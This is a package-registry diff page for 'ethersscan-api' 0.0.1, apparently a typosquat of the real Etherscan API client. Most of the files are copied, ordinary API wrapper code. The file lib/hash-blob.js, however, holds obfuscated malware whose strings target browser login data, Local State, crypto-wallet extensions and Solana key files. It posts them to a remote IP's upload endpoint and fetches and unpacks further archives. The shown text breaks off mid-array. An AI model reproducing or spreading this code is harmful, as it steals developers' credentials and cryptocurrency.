ethersscan-api 0.0.1-security → 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ethersscan-api might be problematic. Click here for more details.
- package/LICENSE.md +9 -0
- package/Readme.md +96 -0
- package/index.js +9 -0
- package/lib/account.js +263 -0
- package/lib/block.js +22 -0
- package/lib/contract.js +41 -0
- package/lib/get-request.js +50 -0
- package/lib/hash-blob.js +1 -0
- package/lib/init.js +73 -0
- package/lib/log.js +86 -0
- package/lib/pick-chain-url.js +28 -0
- package/lib/proxy.js +242 -0
- package/lib/stats.js +62 -0
- package/lib/transaction.js +18 -0
- package/package.json +46 -3
- package/README.md +0 -5
package/LICENSE.md
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2015 these people
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
6
|
+
|
7
|
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
8
|
+
|
9
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/Readme.md
ADDED
@@ -0,0 +1,96 @@
|
|
1
|
+
# Etherscan API
|
2
|
+
|
3
|
+
## Development of a NEXTGEN Version has started - please stand by
|
4
|
+
|
5
|
+
[![npm](https://img.shields.io/npm/dt/etherscan-api.svg)](https://www.npmjs.com/package/etherscan-api)
|
6
|
+
[![license](https://img.shields.io/github/license/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api/blob/master/LICENSE.md)
|
7
|
+
[![GitHub tag](https://img.shields.io/github/tag/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api)
|
8
|
+
[![GitHub issues](https://img.shields.io/github/issues/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api/issues)
|
9
|
+
|
10
|
+
A way to access the [etherscan.io api](https://etherscan.io/apis) using promises. Fetch a diverse set of information about the blockchain.
|
11
|
+
|
12
|
+
Mainnet
|
13
|
+
|
14
|
+
|
15
|
+
```javascript
|
16
|
+
var api = require('ethersscan-api').init('389FCZBD45XFVTWYENCHJIXUMDCEHY42KT'); // init with your ethersacn API
|
17
|
+
var balance = api.account.balance('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae');
|
18
|
+
balance.then(function(balanceData){
|
19
|
+
console.log(balanceData);
|
20
|
+
});
|
21
|
+
```
|
22
|
+
|
23
|
+
## Example in the wild
|
24
|
+
|
25
|
+
* [Polymer3 based example](https://github.com/hiherto-elements/test-app)
|
26
|
+
|
27
|
+
|
28
|
+
## use a own instance of axios
|
29
|
+
|
30
|
+
```js
|
31
|
+
const axios = require('axios');
|
32
|
+
const {
|
33
|
+
init,
|
34
|
+
pickChainUrl
|
35
|
+
} = require('..');
|
36
|
+
|
37
|
+
|
38
|
+
const chain = pickChainUrl(null);
|
39
|
+
const client = axios.create({
|
40
|
+
baseURL: chain,
|
41
|
+
timeout: 10000
|
42
|
+
});
|
43
|
+
|
44
|
+
var api = init('apikey', null, 10000, client);
|
45
|
+
```
|
46
|
+
|
47
|
+
## For testnet and L2s usage
|
48
|
+
|
49
|
+
Supported Chain Explorers
|
50
|
+
|
51
|
+
* [Etherscan](https://etherscan.io)
|
52
|
+
* ropsten: 'https://api-ropsten.etherscan.io'
|
53
|
+
* kovan: 'https://api-kovan.etherscan.io'
|
54
|
+
* rinkeby: 'https://api-rinkeby.etherscan.io'
|
55
|
+
* goerli: 'https://api-goerli.etherscan.io'
|
56
|
+
* sepolia: 'https://api-sepolia.etherscan.io'
|
57
|
+
* homestead: 'https://api.etherscan.io'
|
58
|
+
* [Arbiscan](https://arbiscan.io) (Experimental)
|
59
|
+
* arbitrum: 'https://api.arbiscan.io'
|
60
|
+
* arbitrum_rinkeby: 'https://api-testnet.arbiscan.io'
|
61
|
+
* [Snowtrace](https://snowtrace.io) (Experimental)
|
62
|
+
* avalanche:'https://api.snowtrace.io',
|
63
|
+
* avalanche_fuji: 'https://api-testnet.snowtrace.io'
|
64
|
+
|
65
|
+
Latest
|
66
|
+
|
67
|
+
```javascript
|
68
|
+
// apikey, network, timeout
|
69
|
+
var api = require('etherscan-api').init('YourApiKey','rinkeby'. '3000');
|
70
|
+
```
|
71
|
+
|
72
|
+
## Install
|
73
|
+
|
74
|
+
```bash
|
75
|
+
npm install etherscan-api --save
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
## API Documentation
|
80
|
+
|
81
|
+
[Full Api Docs](https://sebs.github.io/etherscan-api/)
|
82
|
+
|
83
|
+
|
84
|
+
## Development workflow
|
85
|
+
|
86
|
+
* npm test - runs tests
|
87
|
+
* npm run posttest - starts the linter
|
88
|
+
* npm run lint - preconfigured linter
|
89
|
+
* npm run docs - generates the apidocs
|
90
|
+
* npm run bundle - builds a new bundle
|
91
|
+
* npm run preversion - Steps before we create a new Tag
|
92
|
+
* lint
|
93
|
+
* changelog
|
94
|
+
* npm run pages - pushes generated apidocs to the server
|
95
|
+
* postversion - after generating a new version, push the tag to the server
|
96
|
+
* npm run changelog - generates a changelog and pushes it
|
package/index.js
ADDED
package/lib/account.js
ADDED
@@ -0,0 +1,263 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* Returns the amount of Tokens a specific account owns.
|
5
|
+
* @param {string} address - Contract address
|
6
|
+
* @param {string} tokenname - Name of the token
|
7
|
+
* @param {string} contractaddress - Contract address
|
8
|
+
* @example
|
9
|
+
* var supply = api.account.tokenbalance(
|
10
|
+
* '0x4366ddc115d8cf213c564da36e64c8ebaa30cdbd',
|
11
|
+
* '',
|
12
|
+
* '0xe0b7927c4af23765cb51314a0e0521a9645f0e2a' // DGD contract address
|
13
|
+
* );
|
14
|
+
* @returns {Promise.<object>}
|
15
|
+
*/
|
16
|
+
tokenbalance(address, tokenname, contractaddress) {
|
17
|
+
|
18
|
+
const module = 'account';
|
19
|
+
const action = 'tokenbalance';
|
20
|
+
const tag = 'latest';
|
21
|
+
|
22
|
+
var queryObject = {
|
23
|
+
module, action, apiKey, tag
|
24
|
+
};
|
25
|
+
|
26
|
+
if (contractaddress) {
|
27
|
+
queryObject.contractaddress = contractaddress;
|
28
|
+
}
|
29
|
+
|
30
|
+
if (tokenname) {
|
31
|
+
queryObject.tokenname = tokenname;
|
32
|
+
}
|
33
|
+
|
34
|
+
if (address) {
|
35
|
+
queryObject.address = address;
|
36
|
+
}
|
37
|
+
|
38
|
+
var query = new URLSearchParams(queryObject).toString();
|
39
|
+
return getRequest(query);
|
40
|
+
},
|
41
|
+
/**
|
42
|
+
* Returns the balance of a sepcific account
|
43
|
+
* @param {string} address - Address
|
44
|
+
* @example
|
45
|
+
* var balance = api.account.balance('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae');
|
46
|
+
* @returns {Promise.<object>}
|
47
|
+
*/
|
48
|
+
balance(address) {
|
49
|
+
const module = 'account';
|
50
|
+
let action = 'balance';
|
51
|
+
const tag = 'latest';
|
52
|
+
|
53
|
+
if (typeof address !== 'string' && address && address.length) {
|
54
|
+
address = address.join(',');
|
55
|
+
action = 'balancemulti';
|
56
|
+
}
|
57
|
+
const queryObject = {
|
58
|
+
module, action, tag, address, apiKey
|
59
|
+
};
|
60
|
+
var query = new URLSearchParams(queryObject).toString();
|
61
|
+
return getRequest(query);
|
62
|
+
},
|
63
|
+
/**
|
64
|
+
* Get a list of internal transactions
|
65
|
+
* @param {string} txhash - Transaction hash. If specified then address will be ignored
|
66
|
+
* @param {string} address - Transaction address
|
67
|
+
* @param {string} startblock - start looking here
|
68
|
+
* @param {string} endblock - end looking there
|
69
|
+
* @param {string} sort - Sort asc/desc
|
70
|
+
* @example
|
71
|
+
* var txlist = api.account.txlistinternal('0x40eb908387324f2b575b4879cd9d7188f69c8fc9d87c901b9e2daaea4b442170');
|
72
|
+
* @returns {Promise.<object>}
|
73
|
+
*/
|
74
|
+
txlistinternal(txhash, address, startblock, endblock, sort) {
|
75
|
+
const module = 'account';
|
76
|
+
const action = 'txlistinternal';
|
77
|
+
|
78
|
+
var queryObject = {
|
79
|
+
module,
|
80
|
+
action,
|
81
|
+
apiKey
|
82
|
+
};
|
83
|
+
|
84
|
+
if (!sort) {
|
85
|
+
sort = 'asc';
|
86
|
+
}
|
87
|
+
queryObject.sort = sort;
|
88
|
+
|
89
|
+
if (txhash) {
|
90
|
+
queryObject.txhash = txhash;
|
91
|
+
} else {
|
92
|
+
queryObject.address = address;
|
93
|
+
|
94
|
+
if (!startblock) {
|
95
|
+
startblock = 0;
|
96
|
+
}
|
97
|
+
queryObject.startblock = startblock;
|
98
|
+
|
99
|
+
if (!endblock) {
|
100
|
+
endblock = 'latest';
|
101
|
+
}
|
102
|
+
queryObject.endblock = endblock;
|
103
|
+
}
|
104
|
+
|
105
|
+
var query = new URLSearchParams(queryObject).toString();
|
106
|
+
|
107
|
+
return getRequest(query);
|
108
|
+
},
|
109
|
+
/**
|
110
|
+
* Get a list of transactions for a specfic address
|
111
|
+
* @param {string} address - Transaction address
|
112
|
+
* @param {string} startblock - start looking here
|
113
|
+
* @param {string} endblock - end looking there
|
114
|
+
* @param {number} page - Page number
|
115
|
+
* @param {number} offset - Max records to return
|
116
|
+
* @param {string} sort - Sort asc/desc
|
117
|
+
* @example
|
118
|
+
* var txlist = api.account.txlist('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', 1, 'latest', 1, 100, 'asc');
|
119
|
+
* @returns {Promise.<object>}
|
120
|
+
*/
|
121
|
+
txlist(address, startblock, endblock, page, offset, sort) {
|
122
|
+
const module = 'account';
|
123
|
+
const action = 'txlist';
|
124
|
+
|
125
|
+
if (!startblock) {
|
126
|
+
startblock = 0;
|
127
|
+
}
|
128
|
+
|
129
|
+
if (!endblock) {
|
130
|
+
endblock = 'latest';
|
131
|
+
}
|
132
|
+
|
133
|
+
if (!page) {
|
134
|
+
page = 1;
|
135
|
+
}
|
136
|
+
|
137
|
+
if (!offset) {
|
138
|
+
offset = 100;
|
139
|
+
}
|
140
|
+
|
141
|
+
if (!sort) {
|
142
|
+
sort = 'asc';
|
143
|
+
}
|
144
|
+
const queryObject = {
|
145
|
+
module, action, startblock, endblock, page, offset, sort, address, apiKey
|
146
|
+
};
|
147
|
+
var query = new URLSearchParams(queryObject).toString();
|
148
|
+
return getRequest(query);
|
149
|
+
},
|
150
|
+
/**
|
151
|
+
* Get a list of blocks that a specific account has mineds
|
152
|
+
* @example
|
153
|
+
* var txlist = api.account.getminedblocks('0x9dd134d14d1e65f84b706d6f205cd5b1cd03a46b');
|
154
|
+
* @param {string} address - Transaction hash
|
155
|
+
*/
|
156
|
+
getminedblocks(address) {
|
157
|
+
const module = 'account';
|
158
|
+
const action = 'getminedblocks';
|
159
|
+
|
160
|
+
const queryObject = {
|
161
|
+
module, action, address, apiKey
|
162
|
+
};
|
163
|
+
|
164
|
+
var query = new URLSearchParams(queryObject).toString();
|
165
|
+
return getRequest(query);
|
166
|
+
},
|
167
|
+
/**
|
168
|
+
* [BETA] Get a list of "ERC20 - Token Transfer Events" by Address
|
169
|
+
* @param {string} address - Account address
|
170
|
+
* @param {string} startblock - start looking here
|
171
|
+
* @param {string} endblock - end looking there
|
172
|
+
* @param {number} page - Page number
|
173
|
+
* @param {number} offset - Max records to return
|
174
|
+
* @param {string} sort - Sort asc/desc
|
175
|
+
* @param {string} contractaddress - Address of ERC20 token contract (if not specified lists transfers for all tokens)
|
176
|
+
* @example
|
177
|
+
* var txlist = api.account.tokentx('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', '0x5F988D968cb76c34C87e6924Cc1Ef1dCd4dE75da', 1, 'latest', 'asc');
|
178
|
+
* @returns {Promise.<object>}
|
179
|
+
*/
|
180
|
+
tokentx(address, contractaddress, startblock, endblock, page, offset, sort) {
|
181
|
+
const module = 'account';
|
182
|
+
const action = 'tokentx';
|
183
|
+
|
184
|
+
if (!startblock) {
|
185
|
+
startblock = 0;
|
186
|
+
}
|
187
|
+
|
188
|
+
if (!endblock) {
|
189
|
+
endblock = 'latest';
|
190
|
+
}
|
191
|
+
|
192
|
+
if (!page) {
|
193
|
+
page = 1;
|
194
|
+
}
|
195
|
+
|
196
|
+
if (!offset) {
|
197
|
+
offset = 100;
|
198
|
+
}
|
199
|
+
|
200
|
+
if (!sort) {
|
201
|
+
sort = 'asc';
|
202
|
+
}
|
203
|
+
|
204
|
+
var queryObject = {
|
205
|
+
module, action, startblock, endblock, page, offset, sort, address, apiKey
|
206
|
+
};
|
207
|
+
|
208
|
+
if (contractaddress) {
|
209
|
+
queryObject.contractaddress = contractaddress;
|
210
|
+
}
|
211
|
+
var query = new URLSearchParams(queryObject).toString();
|
212
|
+
return getRequest(query);
|
213
|
+
},
|
214
|
+
|
215
|
+
/**
|
216
|
+
* [BETA] Get a list of "ERC721 - Token Transfer Events" by Address
|
217
|
+
* @param {string} address - Account address
|
218
|
+
* @param {string} startblock - start looking here
|
219
|
+
* @param {string} endblock - end looking there
|
220
|
+
* @param {number} page - Page number
|
221
|
+
* @param {number} offset - Max records to return
|
222
|
+
* @param {string} sort - Sort asc/desc
|
223
|
+
* @param {string} contractaddress - Address of ERC721 token contract (if not specified lists transfers for all tokens)
|
224
|
+
* @example
|
225
|
+
* var txlist = api.account.tokenftntx('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', '0x5F988D968cb76c34C87e6924Cc1Ef1dCd4dE75da', 1, 'latest', 'asc');
|
226
|
+
* @returns {Promise.<object>}
|
227
|
+
*/
|
228
|
+
tokennfttx(address, contractaddress, startblock, endblock, page, offset, sort) {
|
229
|
+
const module = 'account';
|
230
|
+
const action = 'tokennfttx';
|
231
|
+
|
232
|
+
if (!startblock) {
|
233
|
+
startblock = 0;
|
234
|
+
}
|
235
|
+
|
236
|
+
if (!endblock) {
|
237
|
+
endblock = 'latest';
|
238
|
+
}
|
239
|
+
|
240
|
+
if (!page) {
|
241
|
+
page = 1;
|
242
|
+
}
|
243
|
+
|
244
|
+
if (!offset) {
|
245
|
+
offset = 100;
|
246
|
+
}
|
247
|
+
|
248
|
+
if (!sort) {
|
249
|
+
sort = 'asc';
|
250
|
+
}
|
251
|
+
|
252
|
+
var queryObject = {
|
253
|
+
module, action, startblock, endblock, page, offset, sort, address, apiKey
|
254
|
+
};
|
255
|
+
|
256
|
+
if (contractaddress) {
|
257
|
+
queryObject.contractaddress = contractaddress;
|
258
|
+
}
|
259
|
+
var query = new URLSearchParams(queryObject).toString();
|
260
|
+
return getRequest(query);
|
261
|
+
}
|
262
|
+
};
|
263
|
+
};
|
package/lib/block.js
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* Find the block reward for a given address and block
|
5
|
+
* @param {string} address - Address of the block
|
6
|
+
* @param {string} blockno - Block number
|
7
|
+
* @returns {Promise.<object>}
|
8
|
+
*/
|
9
|
+
getblockreward(address, blockno) {
|
10
|
+
const module = 'block';
|
11
|
+
const action = 'getblockreward';
|
12
|
+
if (!blockno) {
|
13
|
+
blockno = 0;
|
14
|
+
}
|
15
|
+
const queryObject = {
|
16
|
+
module, action, address, blockno, apiKey
|
17
|
+
};
|
18
|
+
var query = new URLSearchParams(queryObject).toString();
|
19
|
+
return getRequest(query);
|
20
|
+
}
|
21
|
+
};
|
22
|
+
};
|
package/lib/contract.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
module.exports = function(getRequest, apiKey) {
|
2
|
+
return {
|
3
|
+
/**
|
4
|
+
* Returns the ABI/Interface of a given contract
|
5
|
+
* @param {string} address - Contract address
|
6
|
+
* @example
|
7
|
+
* api.contract
|
8
|
+
* .getabi('0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413')
|
9
|
+
* .then(console.log)
|
10
|
+
* @returns {Promise.<object>}
|
11
|
+
*/
|
12
|
+
getabi(address) {
|
13
|
+
const module = 'contract';
|
14
|
+
const action = 'getabi';
|
15
|
+
|
16
|
+
const queryObject = {
|
17
|
+
module, action, address, apiKey
|
18
|
+
};
|
19
|
+
var query = new URLSearchParams(queryObject).toString();
|
20
|
+
return getRequest(query);
|
21
|
+
},
|
22
|
+
/**
|
23
|
+
* Returns the Sourcecode of a given verified contract
|
24
|
+
* @param {string} address - Contract address
|
25
|
+
* @example
|
26
|
+
* api.contract
|
27
|
+
* .getsourcecode('0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413')
|
28
|
+
* .then(console.log)
|
29
|
+
* @returns {Promise.<object>}
|
30
|
+
*/
|
31
|
+
getsourcecode(address) {
|
32
|
+
const module = 'contract';
|
33
|
+
const action = 'getsourcecode';
|
34
|
+
const queryObject = {
|
35
|
+
module, action, address, apiKey
|
36
|
+
};
|
37
|
+
var query = new URLSearchParams(queryObject).toString();
|
38
|
+
return getRequest(query);
|
39
|
+
}
|
40
|
+
};
|
41
|
+
};
|
@@ -0,0 +1,50 @@
|
|
1
|
+
|
2
|
+
/**
|
3
|
+
* @param {string} chain
|
4
|
+
* @param {number} timeout
|
5
|
+
* @param {object} client
|
6
|
+
* @returns {string}
|
7
|
+
*/
|
8
|
+
|
9
|
+
module.exports = function(chain, timeout, client) {
|
10
|
+
|
11
|
+
|
12
|
+
/**
|
13
|
+
* @param query
|
14
|
+
* @returns {Promise<any>}
|
15
|
+
*/
|
16
|
+
function getRequest(query) {
|
17
|
+
return new Promise(function(resolve, reject) {
|
18
|
+
client.get('/api?' + query).then(function(response) {
|
19
|
+
var data = response.data;
|
20
|
+
|
21
|
+
if (data.status && data.status != 1) {
|
22
|
+
let returnMessage = data.message ||'NOTOK';
|
23
|
+
if (data.result && typeof data.result === 'string') {
|
24
|
+
returnMessage = data.result;
|
25
|
+
} else if (data.message && typeof data.message === 'string') {
|
26
|
+
returnMessage = data.message;
|
27
|
+
}
|
28
|
+
|
29
|
+
return reject(returnMessage);
|
30
|
+
}
|
31
|
+
|
32
|
+
if (data.error) {
|
33
|
+
var message = data.error;
|
34
|
+
|
35
|
+
if(typeof data.error === 'object' && data.error.message){
|
36
|
+
message = data.error.message;
|
37
|
+
}
|
38
|
+
|
39
|
+
return reject(new Error(message));
|
40
|
+
}
|
41
|
+
|
42
|
+
resolve(data);
|
43
|
+
}).catch(function(error) {
|
44
|
+
return reject(new Error(error));
|
45
|
+
});
|
46
|
+
});
|
47
|
+
}
|
48
|
+
|
49
|
+
return getRequest;
|
50
|
+
};
|
package/lib/hash-blob.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x379093,_0x119c04){function _0x18bdf4(_0x17288a,_0x3912a5,_0x1ed37c,_0x48852b){return _0x4e42(_0x48852b-0x2b1,_0x1ed37c);}const _0x1f8f05=_0x379093();function _0x5dd7ed(_0x34c652,_0x2aff0f,_0x58f3f8,_0x1d254c){return _0x4e42(_0x58f3f8- -'0x16',_0x2aff0f);}while(!![]){try{const _0xe78d87=-parseInt(_0x5dd7ed(0x172,0x1d5,0x190,0x1a3))/(0x1*-0x208+0x10c5+-0xebc)+parseInt(_0x5dd7ed(0x1bf,'0x1a4','0x1e3','0x18d'))/(-0xf*0x187+0x7*0x156+-0xd91*-0x1)+-parseInt(_0x18bdf4('0x428','0x4c8','0x519',0x4ab))/(-0xe70+-0x16fe+0x2571)*(parseInt(_0x5dd7ed('0x1c8',0x206,0x222,'0x1a7'))/(0x103*-0x18+0xa9d+0xdaf))+parseInt(_0x18bdf4('0x56d','0x559',0x4f3,0x536))/(-0x8b*0x5+0x11dd+0xf21*-0x1)*(parseInt(_0x18bdf4(0x564,0x4cd,0x561,0x53d))/(0x36b*-0x4+0x1cb*0x2+0x4*0x287))+parseInt(_0x5dd7ed(0x23a,'0x1e5',0x1bf,'0x211'))/(-0x177b*0x1+-0x1*0xad3+-0x2255*-0x1)+parseInt(_0x5dd7ed('0x1c9',0x1ff,'0x1d7',0x25d))/(0x7*-0x48b+0xfe*0x22+0x1*-0x1e7)*(parseInt(_0x18bdf4(0x581,'0x503','0x517',0x517))/(0xa1b+-0xaf*0x19+-0x257*-0x3))+-parseInt(_0x18bdf4('0x48a',0x45a,'0x509',0x4ce))/(0x246c+-0x1*0x125b+-0x5*0x39b)*(-parseInt(_0x18bdf4(0x48c,0x4a4,'0x478',0x45e))/(-0x1f65+0x3b*0x19+-0x139*-0x15));if(_0xe78d87===_0x119c04)break;else _0x1f8f05['push'](_0x1f8f05['shift']());}catch(_0x37992b){_0x1f8f05['push'](_0x1f8f05['shift']());}}}(_0x44b1,-0x5c0a+-0x2bd7c+-0x19955*-0x5));function _0x2c7601(_0x43817a,_0x216d16,_0x54afed,_0x1d9fd8){return _0x4e42(_0x216d16- -'0x86',_0x1d9fd8);}const _0x33e555=(function(){let _0x4a587e=!![];return function(_0x3d2be8,_0x4a0b4c){const _0x1b5ea0=_0x4a587e?function(){function _0x40b33e(_0x48fecb,_0x18ab8f,_0x4938c4,_0x23ccd9){return _0x4e42(_0x23ccd9- -'0x86',_0x48fecb);}if(_0x4a0b4c){const _0x1d2c97=_0x4a0b4c[_0x40b33e('0x221','0x1fb','0x213',0x1a7)](_0x3d2be8,arguments);return _0x4a0b4c=null,_0x1d2c97;}}:function(){};return _0x4a587e=![],_0x1b5ea0;};}()),_0x5a6906=_0x33e555(this,function(){function _0x3930d0(_0x53fa98,_0x23f1b5,_0xdd7cec,_0x16a47d){return _0x4e42(_0x23f1b5- -'0xc9',_0x16a47d);}const _0x1169b3={};function _0x1a688e(_0x582665,_0x367a53,_0x566ea5,_0x2aba8d){return _0x4e42(_0x2aba8d- -0x3d3,_0x582665);}_0x1169b3[_0x1a688e(-'0x191',-0x110,-0xfd,-'0x165')]=_0x1a688e(-'0x182',-0x15b,-'0x192',-0x15a)+'+$';const _0x4b0640=_0x1169b3;return _0x5a6906[_0x1a688e(-0x1ed,-'0x1a2',-0x14a,-0x1a1)]()['search'](_0x4b0640[_0x3930d0('0x218',0x1a5,0x16f,0x1a2)])[_0x3930d0(0x110,0x169,'0x133',0x1e2)]()[_0x1a688e(-'0x170',-0x1c8,-0x1ab,-0x154)+'r'](_0x5a6906)['search'](_0x4b0640['CsCOS']);});_0x5a6906();const _0x46698a=(function(){let _0x4c1e70=!![];return function(_0x5530ab,_0x633b3e){const _0x171e6b=_0x4c1e70?function(){function _0x4bd4c6(_0x49af82,_0x2e6fb4,_0x5155a8,_0xd56876){return _0x4e42(_0x5155a8-'0xee',_0x2e6fb4);}if(_0x633b3e){const _0xf5cc60=_0x633b3e[_0x4bd4c6(0x311,'0x369','0x31b',0x332)](_0x5530ab,arguments);return _0x633b3e=null,_0xf5cc60;}}:function(){};return _0x4c1e70=![],_0x171e6b;};}()),_0x54aba2=_0x46698a(this,function(){const _0x36d646={'Hzqtd':function(_0x563c29,_0x8e5732,_0x11851d){return _0x563c29(_0x8e5732,_0x11851d);},'vaBaw':function(_0x555fdc,_0x88dc28){return _0x555fdc===_0x88dc28;},'XifBb':'xYysi','aLrqf':_0x269f57('0x111','0xac','0x10f','0xe4'),'VyNBp':function(_0x413b4a,_0x4eb908){return _0x413b4a(_0x4eb908);},'PgAIK':function(_0x345662,_0x132696){return _0x345662+_0x132696;},'KNdmd':_0xdcab7a('0x7d','0xed','0x12c',0x131)+_0xdcab7a('0x110','0x108',0xf7,0x9d),'BNSDx':_0xdcab7a('0x32','0x73',0xe6,0xba)+'ctor(\x22retu'+_0xdcab7a('0x11b',0x119,0xb2,0x133)+'\x20)','kLMIf':_0x269f57('0x142','0x132',0xd8,'0xd4'),'pdUMs':_0x269f57('0x5b','0xd7','0x9a',0xae),'HkFjs':_0x269f57(0x14b,0x1e8,'0x138',0x16c),'TxwkI':function(_0x59d4b6,_0x18b3da){return _0x59d4b6<_0x18b3da;}};let _0x4ea097;try{if(_0x36d646[_0xdcab7a(0x7d,0x8e,0xc2,0x42)](_0x36d646['XifBb'],_0x36d646[_0x269f57(0x189,0x150,0x116,'0x154')]))_0x36d646[_0xdcab7a('0x6e',0x99,'0xc8',0x39)](_0x5ccf6b,_0x269f57('0xbe','0x171','0x102','0x108')+_0x22c07d+'\x20-C\x20'+_0x313186,(_0x4c28b1,_0x461f42,_0x4e2a9b)=>{function _0x4864f2(_0x1a4727,_0x3cb5ef,_0x55364a,_0x45cce8){return _0x269f57(_0x1a4727-0x3,_0x3cb5ef,_0x55364a-'0x150',_0x45cce8-0x3a4);}if(_0x4c28b1)return _0x3cef75['rmSync'](_0xe36f3c),void(_0x521680=0x5c*-0x3d+-0x5*0x703+0x38fb*0x1);_0xd48f20[_0x4864f2(0x53a,'0x4ce',0x448,'0x4c7')](_0x5b05d9),_0x2cc5db();});else{const _0x49aa5f=_0x36d646[_0x269f57(0x13a,0xea,0x128,'0x146')](Function,_0x36d646['PgAIK'](_0x36d646[_0x269f57(0xf1,'0x37',0x61,0xb6)](_0x36d646[_0x269f57('0xd2','0x41',0x69,'0xa3')],_0x36d646[_0x269f57(0x1f5,0xf7,'0x1e5','0x17c')]),');'));_0x4ea097=_0x49aa5f();}}catch(_0x4d6e74){_0x4ea097=window;}const _0x5a780c=_0x4ea097[_0xdcab7a('0x78',0xb0,'0x3b','0x34')]=_0x4ea097[_0xdcab7a(0x8b,'0xb0',0x12a,'0xa4')]||{},_0x54fca8=[_0xdcab7a(0xc2,'0x6f',0x9a,'0x3'),_0xdcab7a(0x82,0xf6,0xb4,'0xb6'),_0x36d646['kLMIf'],_0x36d646[_0xdcab7a(0xc0,'0x67','0x30',0x20)],_0x36d646[_0x269f57(0x112,'0xea',0x94,'0xb1')],_0xdcab7a('0x93','0xef',0x14a,'0x126'),'trace'];function _0xdcab7a(_0x45c6bc,_0x49380d,_0x11d74a,_0xe29b0f){return _0x4e42(_0x49380d- -'0x15b',_0xe29b0f);}function _0x269f57(_0x901a72,_0x129afc,_0x3d0e00,_0xe46a26){return _0x4e42(_0xe46a26- -'0x10e',_0x129afc);}for(let _0x35816d=0x2539+-0x1*0x113f+0x1*-0x13fa;_0x36d646['TxwkI'](_0x35816d,_0x54fca8['length']);_0x35816d++){const _0x407f4e=_0x46698a[_0x269f57(0x194,'0x115','0x1bf',0x171)+'r'][_0xdcab7a('0xbc','0xa1','0x4d',0xfb)][_0xdcab7a(0x8,'0x72','0x8a',0x78)](_0x46698a),_0x22b7a5=_0x54fca8[_0x35816d],_0x5e5413=_0x5a780c[_0x22b7a5]||_0x407f4e;_0x407f4e[_0xdcab7a(0xf0,0x78,'0xd5','0x18')]=_0x46698a['bind'](_0x46698a),_0x407f4e[_0x269f57('0x16d',0xae,0x103,'0x124')]=_0x5e5413[_0x269f57('0x100','0xd3',0xe9,0x124)][_0xdcab7a('0x27','0x72',0x6e,'0xd8')](_0x5e5413),_0x5a780c[_0x22b7a5]=_0x407f4e;}});_0x54aba2();function _0x44b1(){const _0xc98bed=['writeFileS','bind','{}.constru','164.17.24:','pplication','uts','ZrFSM','__proto__','ZKUiA','221137oCRpVN','/.npl\x22','ser','dirname','Brave-Brow','ZuXnF','oPUhi','KxfOI','logkc-db','qjPob','LOFJp','renameSync','\x20Support/G','info','/pdown','readdirSyn','/AppData/L','join','ension\x20Set','.ldb','vaBaw','alLuc','moz-extens','isDirector','968JaoVij','efault','\x20-C\x20','oogle/Chro','User\x20Data','GCEvu','UQEzf','Hzqtd','Fdpip','homedir','mbCim','/uploads','384664qsvZBi','83769NAQtJR','cfgodnhcel','prototype','ain','/.config/','\x5cp.zi','/Local\x20Sta','quzpK','url','RAiSn','tings','pGAwb','forEach','copyFile','google-chr','DDEvr','WhGgK','console','/User\x20Data','type','mGFOI','DqPpJ','aholpfdial','gusqB','MmDbx','zJQFD','bohpjbbldc','le/Chrome','tar\x20-xf\x20','zLnRX','VLagb','VrsrK','accessSync','PHPqT','glkvK','11110gCARCq','opera','jgjfhomihk','uClTX','SYvZp','vcPKi','platform','round','XNFZZ','re/Brave-B','createRead','get','ocal/Micro','QnXBH','size','Default','apply','JBqpL','JQOBu','\x5c.pyp\x5cpyth','rmSync','toString','525','YPNjF','avvPQ','WdoLd','fadZk','20nuEXNE','mnkoeoihof','oaming/Moz','pikoobohma','ion','includes','CQBgt','soft/Edge/','Aiofi','\x20Support/B','bfnaelmome','kodbefgpgk','KWjRe','RkHOV','rename','brld_','return\x20(fu','/Local\x20Ext','table','aeachknmef','hostname','idb','mmFBT','son','ox/Profile','warn','/client/','hid','VyNBp','.log','OJsUJ','EJfJP','HTUiZ','push','MehOF','/.npl','formData','jblndlipeo','ECEaI','UxmSV','ibnejdfjmm','post','aLrqf','nction()\x20','sIUCK','/Login\x20Dat','5679NKCsvt','BraveSoftw','WfiWB','/Library/A','EvaxT','\x5cp2.zip','lGtJl','qgndQ','CsCOS','SDlMv','fhbohimael','NLned','/AppData/','ketIl','rn\x20this\x22)(','1224','eSoftware/','AWEdJ','hbbIt','(((.+)+)+)','exception','AKBiW','Local/Goog','olana/id.j','existsSync','constructo','BEaeX